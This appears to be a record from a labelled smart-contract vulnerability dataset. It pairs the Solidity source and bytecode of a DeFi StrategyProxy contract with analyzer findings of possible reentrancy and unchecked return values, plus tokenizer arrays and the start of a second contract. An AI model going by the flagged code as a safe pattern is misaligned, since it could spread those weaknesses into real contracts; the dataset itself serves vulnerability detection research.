asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // interface IProxy { function execute( address to, uint value, bytes calldata data ) external returns (bool, bytes memory); function increaseAmount(uint) external; } // interface Mintr { function mint(address) external; } // interface IFeeDistribution { function claim_many(address[20] calldata) external returns (bool); function last_token_time() external view returns (uint256); function time_cursor() external view returns (uint256); function time_cursor_of(address) external view returns (uint256); } // interface IGauge { function deposit(uint256) external; function balanceOf(address) external view returns (uint256); function withdraw(uint256) external; function claim_rewards(address) external; function rewarded_token() external returns (address); function reward_tokens(uint256) external returns (address); } // contract StrategyProxy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; IProxy public constant proxy = IProxy(0xdc66DBa57c6f9213c641a8a216f8C3D9d83573cd); address public constant mintr = address(0xd061D61a4d941c39E5453435B6345Dc261C2fcE0); address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52); address public constant gauge = address(0x2F50D538606Fa9EDD2B11E2446BEb18C9D5846bB); address public constant yveCRV = address(0xc5bDdf9843308380375a611c18B50Fb9341f502A); address public constant CRV3 = address(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490); IFeeDistribution public constant feeDistribution = IFeeDistribution(0xA464e6DCda8AC41e03616F95f4BC98a13b8922Dc); // gauge => strategies mapping(address => address) public strategies; mapping(address => bool) public voters; address public governance; uint256 lastTimeCursor; constructor() public { governance = msg.sender; } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function approveStrategy(address _gauge, address _strategy) external { require(msg.sender == governance, "!governance"); strategies[_gauge] = _strategy; } function revokeStrategy(address _gauge) external { require(msg.sender == governance, "!governance"); strategies[_gauge] = address(0); } function approveVoter(address _voter) external { require(msg.sender == governance, "!governance"); voters[_voter] = true; } function revokeVoter(address _voter) external { require(msg.sender == governance, "!governance"); voters[_voter] = false; } function lock() external { uint amount = IERC20(crv).balanceOf(address(proxy)); if (amount > 0) proxy.increaseAmount(amount); } function vote(address _gauge, uint _amount) public { require(voters[msg.sender], "!voter"); proxy.execute(gauge, 0, abi.encodeWithSignature("vote_for_gauge_weights(address,uint256)", _gauge, _amount)); } function withdraw( address _gauge, address _token, uint _amount ) public returns (uint) { require(strategies[_gauge] == msg.sender, "!strategy"); uint _balance = IERC20(_token).balanceOf(address(proxy)); proxy.execute(_gauge, 0, abi.encodeWithSignature("withdraw(uint256)", _amount)); _balance = IERC20(_token).balanceOf(address(proxy)).sub(_balance); proxy.execute(_token, 0, abi.encodeWithSignature("transfer(address,uint256)", msg.sender, _balance)); return _balance; } function balanceOf(address _gauge) public view returns (uint) { return IERC20(_gauge).balanceOf(address(proxy)); } function withdrawAll(address _gauge, address _token) external returns (uint) { require(strategies[_gauge] == msg.sender, "!strategy"); return withdraw(_gauge, _token, balanceOf(_gauge)); } function deposit(address _gauge, address _token) external { require(strategies[_gauge] == msg.sender, "!strategy"); uint _balance = IERC20(_token).balanceOf(address(this)); IERC20(_token).safeTransfer(address(proxy), _balance); _balance = IERC20(_token).balanceOf(address(proxy)); proxy.execute(_token, 0, abi.encodeWithSignature("approve(address,uint256)", _gauge, 0)); proxy.execute(_token, 0, abi.encodeWithSignature("approve(address,uint256)", _gauge, _balance)); (bool success, ) = proxy.execute(_gauge, 0, abi.encodeWithSignature("deposit(uint256)", _balance)); if (!success) assert(false); } function harvest(address _gauge) external { require(strategies[_gauge] == msg.sender, "!strategy"); uint _balance = IERC20(crv).balanceOf(address(proxy)); proxy.execute(mintr, 0, abi.encodeWithSignature("mint(address)", _gauge)); _balance = (IERC20(crv).balanceOf(address(proxy))).sub(_balance); proxy.execute(crv, 0, abi.encodeWithSignature("transfer(address,uint256)", msg.sender, _balance)); } function claim(address recipient) external { require(msg.sender == yveCRV, "!strategy"); if (now < lastTimeCursor.add(604800)) return; address p = address(proxy); feeDistribution.claim_many([p, p, p, p, p, p, p, p, p, p, p, p, p, p, p, p, p, p, p, p]); lastTimeCursor = feeDistribution.time_cursor_of(address(proxy)); uint256 amount = IERC20(CRV3).balanceOf(address(proxy)); if (amount > 0) { proxy.execute(CRV3, 0, abi.encodeWithSignature("transfer(address,uint256)", recipient, amount)); } } function claimRewards(address _gauge, address _token) external { require(strategies[_gauge] == msg.sender, "!strategy"); IGauge(_gauge).claim_rewards(address(proxy)); proxy.execute(_token, 0, abi.encodeWithSignature("transfer(address,uint256)", msg.sender, IERC20(_token).balanceOf(address(proxy)))); } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c8063a3ec138d116100c3578063d9caed121161007c578063d9caed12146103af578063eabd7f9c146103e5578063ec556889146103ed578063f1e42ccd146103f5578063f83d08ba14610423578063f9609f081461042b57610158565b8063a3ec138d146102eb578063a6f19c8414610325578063ab033ea91461032d578063bb994d4814610353578063c494448e14610379578063d1e61dcb146103a757610158565b806339ebf8231161011557806339ebf8231461025b578063510b78d0146102815780635aa6e675146102895780635f74bbde146102915780636a4874a1146102bd57806370a08231146102c557610158565b806309cae2c81461015d5780630e5c011e1461019d578063119d4ddb146101c55780631e83409a146101eb5780632479b177146102115780632a1fac1614610235575b600080fd5b61018b6004803603604081101561017357600080fd5b506001600160a01b0381358116916020013516610459565b60408051918252519081900360200190f35b6101c3600480360360208110156101b357600080fd5b50356001600160a01b03166104cf565b005b6101c3600480360360208110156101db57600080fd5b50356001600160a01b0316610a60565b6101c36004803603602081101561020157600080fd5b50356001600160a01b0316610ad4565b610219610fce565b604080516001600160a01b039092168252519081900360200190f35b6101c36004803603602081101561024b57600080fd5b50356001600160a01b0316610fe6565b6102196004803603602081101561027157600080fd5b50356001600160a01b0316611054565b61021961106f565b610219611087565b6101c3600480360360408110156102a757600080fd5b506001600160a01b038135169060200135611096565b6102196111aa565b61018b600480360360208110156102db57600080fd5b50356001600160a01b03166111c2565b6103116004803603602081101561030157600080fd5b50356001600160a01b031661124c565b604080519115158252519081900360200190f35b610219611261565b6101c36004803603602081101561034357600080fd5b50356001600160a01b0316611279565b6101c36004803603602081101561036957600080fd5b50356001600160a01b03166112e8565b6101c36004803603604081101561038f57600080fd5b506001600160a01b038135811691602001351661135c565b6102196113d7565b61018b600480360360608110156103c557600080fd5b506001600160a01b038135811691602081013590911690604001356113ef565b610219611912565b61021961192a565b6101c36004803603604081101561040b57600080fd5b506001600160a01b038135811691602001351661193c565b6101c3611b5d565b6101c36004803603604081101561044157600080fd5b506001600160a01b0381358116916020013516611c63565b6001600160a01b0382811660009081526020819052604081205490911633146104b5576040805162461bcd60e51b815260206004820152600960248201526821737472617465677960b81b604482015290519081900360640190fd5b6104c883836104c3866111c2565b6113ef565b9392505050565b6001600160a01b03818116600090815260208190526040902054163314610529576040805162461bcd60e51b815260206004820152600960248201526821737472617465677960b81b604482015290519081900360640190fd5b604080516370a0823160e01b81526000805160206127508339815191526004820152905160009173d533a949740bb3306d119cc777fa900ba034cd52916370a0823191602480820192602092909190829003018186803b15801561058c57600080fd5b505afa1580156105a0573d6000803e3d6000fd5b505050506040513d60208110156105b657600080fd5b5051604080516001600160a01b038516602480830191909152825180830382018152604492830184526020810180516001600160e01b03166335313c2160e11b1781529351635b0e93fb60e11b815273d061d61a4d941c39e5453435b6345dc261c2fce060048201818152600094830185905260609583019586528351606484015283519798506000805160206127508339815191529763b61d27f69792969193919260849092019190808383895b8381101561067d578181015183820152602001610665565b50505050905090810190601f1680156106aa5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156106cb57600080fd5b505af11580156106df573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604090815281101561070857600080fd5b815160208301805160405192949293830192919084600160201b82111561072e57600080fd5b90830190602082018581111561074357600080fd5b8251600160201b81118282018810171561075c57600080fd5b82525081516020918201929091019080838360005b83811015610789578181015183820152602001610771565b50505050905090810190601f1680156107b65780820380516001836020036101000a031916815260200191505b5060408181526370a0823160e01b8252600080516020612750833981519152600483015251610857965087955073d533a949740bb3306d119cc777fa900ba034cd5294506370a08231935060248083019350602092829003018186803b15801561081f57600080fd5b505afa158015610833573d6000803e3d6000fd5b505050506040513d602081101561084957600080fd5b50519063ffffffff6123d616565b60408051336024808301919091526044808301859052835180840382018152606493840185526020810180516001600160e01b031663a9059cbb60e01b1781529451635b0e93fb60e11b815273d533a949740bb3306d119cc777fa900ba034cd52600482018181526000958301869052606094830194855283519683019690965282519798506000805160206127508339815191529763b61d27f69791969394926084019190808383895b8381101561091a578181015183820152602001610902565b50505050905090810190601f1680156109475780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561096857600080fd5b505af115801561097c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160409081528110156109a557600080fd5b815160208301805160405192949293830192919084600160201b8211156109cb57600080fd5b9083019060208201858111156109e057600080fd5b8251600160201b8111828201881017156109f957600080fd5b82525081516020918201929091019080838360005b83811015610a26578181015183820152602001610a0e565b50505050905090810190601f168015610a535780820380516001836020036101000a031916815260200191505b5060405250505050505050565b6002546001600160a01b03163314610aad576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b3373c5bddf9843308380375a611c18b50fb9341f502a14610b28576040805162461bcd60e51b815260206004820152600960248201526821737472617465677960b81b604482015290519081900360640190fd5b600354610b3e9062093a8063ffffffff61241816565b421015610b4a57610fcb565b60408051610280808201835260008051602061275083398151915280835260208301819052828401819052606083018190526080830181905260a0830181905260c0830181905260e08301819052610100830181905261012083018190526101408301819052610160830181905261018083018190526101a083018190526101c083018190526101e0830181905261020083018190526102208301819052610240830181905261026083018190529251637b935a2360e01b815273a464e6dcda8ac41e03616f95f4bc98a13b8922dc92637b935a23929091600401908190839080838360005b83811015610c48578181015183820152602001610c30565b50505050905001915050602060405180830381600087803b158015610c6c57600080fd5b505af1158015610c80573d6000803e3d6000fd5b505050506040513d6020811015610c9657600080fd5b505060408051632a2a314b60e01b81526000805160206127508339815191526004820152905173a464e6dcda8ac41e03616f95f4bc98a13b8922dc91632a2a314b916024808301926020929190829003018186803b158015610cf757600080fd5b505afa158015610d0b573d6000803e3d6000fd5b505050506040513d6020811015610d2157600080fd5b5051600355604080516370a0823160e01b815260008051602061275083398151915260048201529051600091736c3f90f043a72fa612cbac8115ee7e52bde6e490916370a0823191602480820192602092909190829003018186803b158015610d8957600080fd5b505afa158015610d9d573d6000803e3d6000fd5b505050506040513d6020811015610db357600080fd5b505190508015610fc857604080516001600160a01b0385166024808301919091526044808301859052835180840382018152606493840185526020810180516001600160e01b031663a9059cbb60e01b1781529451635b0e93fb60e11b8152736c3f90f043a72fa612cbac8115ee7e52bde6e490600482018181526000958301869052606094830194855283519683019690965282516000805160206127508339815191529763b61d27f697929695929360840191808383895b83811015610e85578181015183820152602001610e6d565b50505050905090810190601f168015610eb25780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015610ed357600080fd5b505af1158015610ee7573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040908152811015610f1057600080fd5b815160208301805160405192949293830192919084600160201b821115610f3657600080fd5b908301906020820185811115610f4b57600080fd5b8251600160201b811182820188101715610f6457600080fd5b82525081516020918201929091019080838360005b83811015610f91578181015183820152602001610f79565b50505050905090810190601f168015610fbe5780820380516001836020036101000a031916815260200191505b5060405250505050505b50505b50565b73a464e6dcda8ac41e03616f95f4bc98a13b8922dc81565b6002546001600160a01b03163314611033576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600160205260409020805460ff19169055565b6000602081905290815260409020546001600160a01b031681565b736c3f90f043a72fa612cbac8115ee7e52bde6e49081565b6002546001600160a01b031681565b3360009081526001602052604090205460ff166110e3576040805162461bcd60e51b815260206004820152600660248201526510bb37ba32b960d11b604482015290519081900360640190fd5b604080516001600160a01b0384166024808301919091526044808301859052835180840382018152606493840185526020810180516001600160e01b0316631ae26c6560e31b1781529451635b0e93fb60e11b8152732f50d538606fa9edd2b11e2446beb18c9d5846bb600482018181526000958301869052606094830194855283519683019690965282516000805160206127508339815191529763b61d27f697929695929360840191808383898381101561091a578181015183820152602001610902565b73d533a949740bb3306d119cc777fa900ba034cd5281565b604080516370a0823160e01b8152600080516020612750833981519152600482015290516000916001600160a01b038416916370a0823191602480820192602092909190829003018186803b15801561121a57600080fd5b505afa15801561122e573d6000803e3d6000fd5b505050506040513d602081101561124457600080fd5b505192915050565b60016020526000908152604090205460ff1681565b732f50d538606fa9edd2b11e2446beb18c9d5846bb81565b6002546001600160a01b031633146112c6576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b03163314611335576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b0316600090815260208190526040902080546001600160a01b0319169055565b6002546001600160a01b031633146113a9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03918216600090815260208190526040902080546001600160a01b03191691909216179055565b73d061d61a4d941c39e5453435b6345dc261c2fce081565b6001600160a01b03838116600090815260208190526040812054909116331461144b576040805162461bcd60e51b815260206004820152600960248201526821737472617465677960b81b604482015290519081900360640190fd5b604080516370a0823160e01b8152600080516020612750833981519152600482015290516000916001600160a01b038616916370a0823191602480820192602092909190829003018186803b1580156114a357600080fd5b505afa1580156114b7573d6000803e3d6000fd5b505050506040513d60208110156114cd57600080fd5b5051604080516024808201879052825180830382018152604492830184526020810180516001600160e01b0316632e1a7d4d60e01b1781529351635b0e93fb60e11b81526001600160a01b038b1660048201908152600093820184905260609482019485528251606483015282519697506000805160206127508339815191529663b61d27f6968d96929360840191808383895b83811015611579578181015183820152602001611561565b50505050905090810190601f1680156115a65780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156115c757600080fd5b505af11580156115db573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604090815281101561160457600080fd5b815160208301805160405192949293830192919084600160201b82111561162a57600080fd5b90830190602082018581111561163f57600080fd5b8251600160201b81118282018810171561165857600080fd5b82525081516020918201929091019080838360005b8381101561168557818101518382015260200161166d565b50505050905090810190601f1680156116b25780820380516001836020036101000a031916815260200191505b5060408181526370a0823160e01b825260008051602061275083398151915260048301525161171096508795506001600160a01b038b1694506370a08231935060248083019350602092829003018186803b15801561081f57600080fd5b60408051336024808301919091526044808301859052835180840382018152606493840185526020810180516001600160e01b031663a9059cbb60e01b1781529451635b0e93fb60e11b81526001600160a01b038b16600482019081526000948201859052606093820193845282519582019590955281519697506000805160206127508339815191529663b61d27f6968c9693949260840191808383895b838110156117c75781810151838201526020016117af565b50505050905090810190601f1680156117f45780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561181557600080fd5b505af1158015611829573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604090815281101561185257600080fd5b815160208301805160405192949293830192919084600160201b82111561187857600080fd5b90830190602082018581111561188d57600080fd5b8251600160201b8111828201881017156118a657600080fd5b82525081516020918201929091019080838360005b838110156118d35781810151838201526020016118bb565b50505050905090810190601f1680156119005780820380516001836020036101000a031916815260200191505b50604052509398975050505050505050565b73c5bddf9843308380375a611c18b50fb9341f502a81565b60008051602061275083398151915281565b6001600160a01b03828116600090815260208190526040902054163314611996576040805162461bcd60e51b815260206004820152600960248201526821737472617465677960b81b604482015290519081900360640190fd5b60408051634274debf60e11b8152600080516020612750833981519152600482015290516001600160a01b038416916384e9bd7e91602480830192600092919082900301818387803b1580156119eb57600080fd5b505af11580156119ff573d6000803e3d6000fd5b505050506000805160206127508339815191526001600160a01b031663b61d27f682600033856001600160a01b03166370a082316000805160206127508339815191526040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015611a8857600080fd5b505afa158015611a9c573d6000803e3d6000fd5b505050506040513d6020811015611ab257600080fd5b5051604080516001600160a01b03938416602480830191909152604480830194909452825180830385018152606492830184526020810180516001600160e01b031663a9059cbb60e01b178152935160e08a901b6001600160e01b03191681529588166004870190815291860187905260609486019485528051928601929092528151919490939260849091019180838360008381101561091a578181015183820152602001610902565b604080516370a0823160e01b81526000805160206127508339815191526004820152905160009173d533a949740bb3306d119cc777fa900ba034cd52916370a0823191602480820192602092909190829003018186803b158015611bc057600080fd5b505afa158015611bd4573d6000803e3d6000fd5b505050506040513d6020811015611bea57600080fd5b505190508015610fcb576000805160206127508339815191526001600160a01b03166315456eba826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611c4857600080fd5b505af1158015611c5c573d6000803e3d6000fd5b5050505050565b6001600160a01b03828116600090815260208190526040902054163314611cbd576040805162461bcd60e51b815260206004820152600960248201526821737472617465677960b81b604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516000916001600160a01b038416916370a0823191602480820192602092909190829003018186803b158015611d0757600080fd5b505afa158015611d1b573d6000803e3d6000fd5b505050506040513d6020811015611d3157600080fd5b50519050611d5d6001600160a01b0383166000805160206127508339815191528363ffffffff61247216565b604080516370a0823160e01b8152600080516020612750833981519152600482015290516001600160a01b038416916370a08231916024808301926020929190829003018186803b158015611db157600080fd5b505afa158015611dc5573d6000803e3d6000fd5b505050506040513d6020811015611ddb57600080fd5b5051604080516001600160a01b0386811660248084019190915260006044808501829052855180860382018152606495860187526020810180516001600160e01b031663095ea7b360e01b1781529651635b0e93fb60e11b8152948a1660048601908152938501839052606091850191825280519585019590955284519697506000805160206127508339815191529663b61d27f6968a96939593949360840191808383895b83811015611e99578181015183820152602001611e81565b50505050905090810190601f168015611ec65780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015611ee757600080fd5b505af1158015611efb573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040908152811015611f2457600080fd5b815160208301805160405192949293830192919084600160201b821115611f4a57600080fd5b908301906020820185811115611f5f57600080fd5b8251600160201b811182820188101715611f7857600080fd5b82525081516020918201929091019080838360005b83811015611fa5578181015183820152602001611f8d565b50505050905090810190601f168015611fd25780820380516001836020036101000a031916815260200191505b5060408181526001600160a01b038a811660248085019190915260448085018b9052835180860382018152606495860185526020810180516001600160e01b031663095ea7b360e01b1781529451635b0e93fb60e11b8152938d16600485019081526000938501849052606092850192835281519685019690965280516000805160206127508339815191529b5063b61d27f69a508d995092975095509260849092019190808383895b8381101561209457818101518382015260200161207c565b50505050905090810190601f1680156120c15780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156120e257600080fd5b505af11580156120f6573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604090815281101561211f57600080fd5b815160208301805160405192949293830192919084600160201b82111561214557600080fd5b90830190602082018581111561215a57600080fd5b8251600160201b81118282018810171561217357600080fd5b82525081516020918201929091019080838360005b838110156121a0578181015183820152602001612188565b50505050905090810190601f1680156121cd5780820380516001836020036101000a031916815260200191505b5060408181526024808301899052815180840382018152604493840183526020810180516001600160e01b031663b6b55f2560e01b1781529251635b0e93fb60e11b81526001600160a01b038d166004820190815260009382018490526060958201958652825160648301528251939a50600080516020612750833981519152995063b61d27f698508d97508a965091949193919260849091019190808383895b8381101561228657818101518382015260200161226e565b50505050905090810190601f1680156122b35780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156122d457600080fd5b505af11580156122e8573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604090815281101561231157600080fd5b815160208301805160405192949293830192919084600160201b82111561233757600080fd5b90830190602082018581111561234c57600080fd5b8251600160201b81118282018810171561236557600080fd5b82525081516020918201929091019080838360005b8381101561239257818101518382015260200161237a565b50505050905090810190601f1680156123bf5780820380516001836020036101000a031916815260200191505b50604052505050509050806123d057fe5b50505050565b60006104c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124c4565b6000828201838110156104c8576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610fc890849061255b565b600081848411156125535760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612518578181015183820152602001612500565b50505050905090810190601f1680156125455780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b61256d826001600160a01b0316612713565b6125be576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106125fc5780518252601f1990920191602091820191016125dd565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461265e576040519150601f19603f3d011682016040523d82523d6000602084013e612663565b606091505b5091509150816126ba576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156123d0578080602001905160208110156126d657600080fd5b50516123d05760405162461bcd60e51b815260040180806020018281038252602a815260200180612770602a913960400191505060405180910390fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061274757508115155b94935050505056fe000000000000000000000000dc66dba57c6f9213c641a8a216f8c3d9d83573cd5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a723158203a4e48eefcfc08e493f4081233756df4ad8d90c6e96dc3c6b3c46984ab8f3fe264736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 14141, 2692, 2581, 2497, 2575, 2278, 2683, 2683, 2497, 19317, 2546, 2509, 2546, 2692, 27421, 15136, 21619, 10354, 2546, 27531, 14142, 2050, 2683, 2620, 2497, 3207, 2683, 2063, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 2459, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 2515, 2025, 2421, 1008, 1996, 11887, 4972, 1025, 2000, 3229, 2068, 2156, 1063, 9413, 2278, 11387, 3207, 14162, 2098, 1065, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,475
0x96dD316B0C6B799d6e17FF4E21dA0bf0a8a87c65
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := 